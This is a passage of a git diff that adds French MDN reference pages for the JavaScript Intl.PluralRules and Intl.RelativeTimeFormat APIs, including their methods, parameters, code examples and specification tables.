+   <td><a href="https://rawgit.com/caridy/intl-plural-rules-spec/master/index.html">Brouillon pour les règles de nombre avec <code>Intl</code></a></td>
+   <td>Brouillon</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.PluralRules.resolvedOptions")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html
new file mode 100644
index 0000000000..9d9b8eac11
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html
@@ -0,0 +1,79 @@
+---
+title: Intl.PluralRules.select()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/select
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - PluralRules
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/select
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.PluralRules.prototype.select</code></strong> renvoie une chaîne de caractères qui indique la règle de nombre utilisée pour le formatage relatif à la locale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>pluralRule</var>.select(<var>nombre</var>)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Le nombre pour lequel on souhaite obtenir la règle de nombre associée.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette fonction permet de sélectionner une règle de nombre en fonction de la locale et des options de formatage choisies via un objet {{jsxref("PluralRules")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js"> new Intl.PluralRules('ar-EG').select(0);
+// → 'zero'
+
+new Intl.PluralRules('ar-EG').select(1);
+// → 'one'
+
+new Intl.PluralRules('ar-EG').select(2);
+// → 'two'
+
+new Intl.PluralRules('ar-EG').select(6);
+// → 'few'
+
+new Intl.PluralRules('ar-EG').select(18);
+// → 'many'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://rawgit.com/caridy/intl-plural-rules-spec/master/index.html">Brouillon pour les règles de nombre avec Intl</a></td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.PluralRules.select")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html
new file mode 100644
index 0000000000..31faa9f6b0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html
@@ -0,0 +1,84 @@
+---
+title: Intl.PluralRules.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/supportedLocalesOf
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - PluralRules
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.PluralRules.supportedLocalesOf()</code></strong> renvoie un tableau contenant les locales prises en charge, parmi celles passées en argument, pour les règles de nombre (sans avoir à utiliser la locale par défaut du système d'exécution).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>Intl.PluralRules.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Une chaîne de caractères représentant une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour la forme générale de l'argument <code>locales</code>, se référer à la page {{jsxref("Intl", "Intl", "#Identification_et_choix_de_la_locale", 1)}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Optionnel. Un objet pouvant contenir la propriété suivante :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères représentant le sous-ensemble de balises de langues prises en charge pour le formatage avec les règles de nombre (sans qu'il soit nécssaire d'utiliser la locale par défaut du système d'exploitation).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un tableau contenant un sous-ensemble des balises de langue fournies dans l'argument <code>locales</code>. Les balises de langue sont celles qui sont prises en charge par l'environnement pour le formatage avec les règles de nombre et pour lesquelles la locale respecte l'algorithme de correspondance indiqué. Les locales de ce tableau évitent d'avoir à utiliser la locale du système d'exécution par défaut.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'hypothèse où on utilise un système prenant en charge l'indonésien, l'allemand mais pas le balinais pour le formatage avec les règles de nombre, <code>supportedLocalesOf</code> renvoie les balises de langue indonésienne et allemande inchangées bien que la collation <code>pinyin</code> ne soit pas pertinente ni utilisée avec l'indonésien (et qu'il est peu probable qu'une variante indonésienne pour l'allemand soit prise en charge). On notera que l'algorithme de correspondance <code>"lookup"</code> est utilisé ici. L'algorithme <code>"best fit"</code> aurait pu déterminer que l'indonésien aurait pu remplacer le balinais car la plupart des personnes parlant le balinais comprend également l'indonésien, la fonction aurait alors pu remplacer la balise de langue balinaise.</p>
+
+<pre class="brush: js">var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+var options = { localeMatcher: 'lookup' };
+console.log(Intl.PluralRules.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://rawgit.com/caridy/intl-plural-rules-spec/master/index.html">Brouillon pour les règles de nombre avec <code>Intl</code></a></td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.PluralRules.supportedLocalesOf")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html
new file mode 100644
index 0000000000..8a065ae341
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html
@@ -0,0 +1,103 @@
+---
+title: Intl.RelativeTimeFormat.prototype.format()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/format
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/format
+---
+<div>{{JSRef}}</div>
+
+<div>La méthode <strong><code>Intl.RelativeTimeFormat.prototype.format()</code></strong> permet de formater une valeur avec une unité selon des options de locale et de formatage stockées dans l'objet {{jsxref("RelativeTimeFormat")}}.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-format.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><code>RelativeTimeFormat.format(valeur, unite)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Une valeur numérique qu'on souhaite utiliser pour exprimer un temps relatif dans un message internationalisé.</dd>
+</dl>
+
+<dl>
+ <dt><code>unite</code></dt>
+ <dd>L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont <code>"year"</code> (année), <code>"quarter"</code> (trimestre), <code>"month"</code> (mois), <code>"week"</code> (semaine), <code>"day"</code> (jour), <code>"hour"</code> (heure), <code>"minute"</code> (minute), <code>"second"</code> (secondes). Les formes plurielles sont également autorisées.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction renvoyée par l'accesseur <code>format</code> permet de formater une valeur et une unité en une chaîne de caractères en prenant en compte la locale et les options de formatage associées à l'objet {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} utilisé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple_de_format">Utilisation simple de <code>format</code></h3>
+
+<p>L'exemple suivant illustre comment créer un outil de formatage pour les valeurs de temps relatifs en anglais.</p>
+
+<pre class="brush: js">// On crée un outil de formatage pour les valeurs exprimant
+// les temps relatifs en anglais, avec les valeurs par défaut
+// utilisées explicitement.
+const rtf = new Intl.RelativeTimeFormat("en", {
+    localeMatcher: "best fit", // autre valeur possible : "lookup"
+    numeric: "always", // autre valeur possible : "auto"
+    style: "long", // autres valeurs possibles : "short" ou "narrow"
+});
+
+// Formatage d'une valeur relative négative.
+rtf.format(-1, "day");
+// &gt; "1 day ago"
+
+// Formatage d'une valeur relative positive.
+rtf.format(1, "day");
+// &gt; "in 1 day"</pre>
+
+<h3 id="Utiliser_loption_auto">Utiliser l'option <code>auto</code></h3>
+
+<p>Si on passe l'option <code>numeric:auto</code>, c'est la chaîne de caractères <code>yesterday</code> ou <code>tomorrow</code> qui sera produite (en anglais) plutôt que <code>1 day ago</code> ou <code>in 1 day</code>. Cela permet de n'avoir pas nécessairement une valeur numérique en résultat.</p>
+
+<pre class="brush: js">// On crée un formateur en anglais avec l'option
+// numeric: "auto".
+const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// Formatage d'une valeur relative négative.
+rtf.format(-1, "day");
+// &gt; "yesterday"
+
+// Formatage d'une valeur relative positive.
+rtf.format(1, "day");
+// &gt; "tomorrow"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.format">Proposition pour <code>Intl.RelativeTime</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat.format")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html
new file mode 100644
index 0000000000..4a107d215c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html
@@ -0,0 +1,86 @@
+---
+title: Intl.RelativeTimeFormat.prototype.formatToParts()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/formatToParts
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/formatToParts
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.RelativeTimeFormat.prototype.formatToParts()</code></strong> est une méthode analogue à <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/format">format()</a></code> qui renvoie un tableau d'objets contenant les différentes parties représentant le message internationalisé pour le temps relatif.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-formattoparts.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><code>RelativeTimeFormat.formatToParts(valeur, unite)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Une valeur numérique qu'on souhaite formater pour un message internationalisé exprimant un temps relatif.</dd>
+</dl>
+
+<dl>
+ <dt><code>unite</code></dt>
+ <dd>L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont <code>"year"</code> (année), <code>"quarter"</code> (trimestre), <code>"month"</code> (mois), <code>"week"</code> (semaine), <code>"day"</code> (jour), <code>"hour"</code> (heure), <code>"minute"</code> (minute), <code>"second"</code> (secondes). Les formes plurielles sont également autorisées.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) d'objets contenant les fragments composant la chaîne de caractères localisée et mise en forme pour exprimer le temps relatif.</p>
+
+<h2 id="Description">Description</h2>
+
+<div>La méthode <code>Intl.RelativeTimeFormat.prototype.formatToParts()</code> est une méthode analogue à la méthode <code>format()</code> mais renvoie un tableau d'objets représentant chacun une partie du message internationalisé. Ces objets ont deux propriétés : <code>type</code> et <code>value</code>. Si un des composants provient de <code>NumberFormat</code>, il aura une propriété <code>unit</code> indiquant l'unité utilisée pour le formatage.</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// Format relative time using the day unit.
+rtf.formatToParts(-1, "day");
+// &gt; [{ type: "literal", value: "yesterday"}]
+
+rtf.formatToParts(100, "day");
+// &gt; [{ type: "literal", value: "in " },
+      { type: "integer", value: "100", unit: "day" },
+      { type: "literal", value: " days" }]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype.formatToParts">Proposition pour <code>Intl.RelativeTime</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat.formatToParts")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html
new file mode 100644
index 0000000000..f15c5db724
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html
@@ -0,0 +1,162 @@
+---
+title: Intl.RelativeTimeFormat
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat
+tags:
+  - Constructeur
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.RelativeTimeFormat</code></strong> est un constructeur fournissant des objets pour mettre en forme des données temporelles relatives en respectant le format des locales.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>new Intl.RelativeTimeFormat([<var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.</p>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Optionnel, un objet possédant tout ou partie des propriétés suivantes :</p>
+ </dd>
+ <dd>
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.</dd>
+  <dt><code>numeric</code></dt>
+  <dd>Le format du message de sortie. Les valeurs possibles sont <code>"always"</code> (par exemple <code>1 day ago</code>) ou  <code>"auto"</code> (par exemple <code>yesterday</code>). <code>"auto"</code> permet de ne pas toujours avoir de valeurs numériques dans le message produit.</dd>
+ </dl>
+
+ <dl>
+  <dt><code>style</code></dt>
+  <dd>La longueur du message internationalisé. Les valeurs possibles sont : <code>"long"</code> (la valeur par défaut) (par exemple : <code>in 1 month</code>), <code>"short"</code> (par exemple : <code>in 1 mo.</code>) ou  <code>"narrow"</code> (par exemple : <code>in 1 mo.</code>). Le style <code>narrow</code> peut être semblable au style <code>short</code> pour certaines locales.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.prototype", "Intl.RelativeTimeFormat.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à l'ensemble des instances.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.supportedLocalesOf", "Intl.RelativeTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>Cette méthode renvoie un tableau des locales, parmi celles passées en argument, qui sont pris en charge pour le formatage internationalisé des temps relatifs sans qu'il y ait besoin d'utiliser la locale par défaut de l'environnement d'exécution.</dd>
+</dl>
+
+<h2 id="Les_instances_de_RelativeTimeFormat">Les instances de <code>RelativeTimeFormat</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>Les instances de RelativeTimeFormat héritent des propriétés suivantes grâce à leur prototype :</p>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>Les instances de <code>RelativeTimeFormat</code> héritent des méthodes suivantes grâce à leur prototype :</p>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_format">Utiliser <code>format()</code></h3>
+
+<p>L'exemple suivant illustre comment créer un formateur de temps relatif en anglais :</p>
+
+<pre class="brush: js">// On crée un formateur en anglais en utilisant explicitement
+// les valeurs par défaut.
+const rtf = new Intl.RelativeTimeFormat("en", {
+    localeMatcher: "best fit", // autre valeur possible : "lookup"
+    numeric: "always", // autre valeur possible : "auto"
+    style: "long", // autre valeur possible : "short" ou "narrow"
+});
+
+// On formate un temps relatif avec une valeur négative (-1).
+rtf.format(-1, "day");
+// &gt; "1 day ago"
+
+// On formate un temps relatif avec une valeur positive (1).
+rtf.format(1, "day");
+// &gt; "in 1 day"</pre>
+
+<h3 id="Utiliser_loption_auto">Utiliser l'option <code>auto</code></h3>
+
+<p>Si l'option <code>numeric:auto</code> est passée, on aura la chaîne de caractères <code>yesterday</code> ou <code>tomorrow</code> plutôt que <code>1 day ago</code> ou <code>in 1 day</code>. De cette façon, on peut ne pas avoir de valeur numérique dans la valeur produite.</p>
+
+<pre class="brush: js">// On crée un formateur en anglais avec l'option
+// numeric: "auto".
+const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// On formate un temps relatif avec une valeur négative (-1).
+rtf.format(-1, "day");
+// &gt; "yesterday"
+
+// On formate un temps relatif avec une valeur positive (1).
+rtf.format(1, "day");
+// &gt; "tomorrow"
+</pre>
+
+<h3 id="Utiliser_formatToParts">Utiliser <code>formatToParts()</code></h3>
+
+<p>L'exemple suivant illustre comment créer un formateur de temps relatif qui renvoie les différents fragments pour exprimer le temps relatif internationalisé.</p>
+
+<pre class="brush: js">const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// On crée un temps relatif exprimé en jour.
+rtf.formatToParts(-1, "day");
+// &gt; [{ type: "literal", value: "yesterday"}]
+
+rtf.formatToParts(100, "day");
+// &gt; [{ type: "literal", value: "in " },
+      { type: "integer", value: "100", unit: "day" },
+      { type: "literal", value: " days" }]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-intl-relative-time/#sec-intl-relativetimeformat-constructor">Proposition pour le constructeur <code>Intl.RelativeTimeFormat</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2018/10/intl-relativetimeformat">L'API <code>Intl.RelativeTimeFormat</code>, un billet de Mathias Bynens (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html
new file mode 100644
index 0000000000..6fa2401f0e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html
@@ -0,0 +1,72 @@
+---
+title: Intl.RelativeTimeFormat.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/prototype
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.RelativeTimeFormat.prototype</code></strong> représente l'objet prototype utilisé par le constructeur {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir {{jsxref("RelativeTimeFormat")}} pour une description des instances <code>Intl.RelativeTimeFormat</code>.</p>
+
+<p>Les instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} héritent de <code>Intl.RelativeTimeFormat.prototype</code>. Les modifications apportées au prototype seront héritées par l'ensemble des instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.<font face="consolas, Liberation Mono, courier, monospace">RelativeTimeFormat</font>.prototype.constructor</code></dt>
+ <dd>Une référence à <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Intl.RelativeTimeFormat" title="The Intl.DateTimeFormat object is a constructor for objects that enable language-sensitive date and time formatting."><code>Intl.RelativeTimeFormat</code></a>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.format", "Intl.RelativeTimeFormat.prototype.format()")}}</dt>
+ <dd>Une méthode qui formate une valeur, accompagnée d'une unité selon des options de locales et de formatage stockées dans l'objet <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Intl.RelativeTimeFormat" title="The Intl.DateTimeFormat object is a constructor for objects that enable language-sensitive date and time formatting."><code>Intl.RelativeTimeFormat</code></a>.</dd>
+ <dt>{{jsxref("RelativeTimeFormat.formatToParts", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}</dt>
+ <dd>Une méthode qui formate une valeur comme la méthode <code>format()</code> mais qui renvoie un tableau ({{jsxref("Array")}}) contenant les différentes parties de la valeur formatée.</dd>
+ <dt>{{jsxref("RelativeTimeFormat.resolvedOptions", "Intl.RelativeTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Une méthode qui renvoie un objet dont les propriétés indique les options de locale et de formatage calculées lors de l'initialisation du formateur.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.prototype">Proposition pour <code>Intl.RelativeTime</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..1d6ddd6978
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html
@@ -0,0 +1,100 @@
+---
+title: Intl.RelativeTimeFormat.prototype.resolvedOptions()
+slug: >-
+  Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/resolvedOptions
+tags:
+  - Internationalization
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: >-
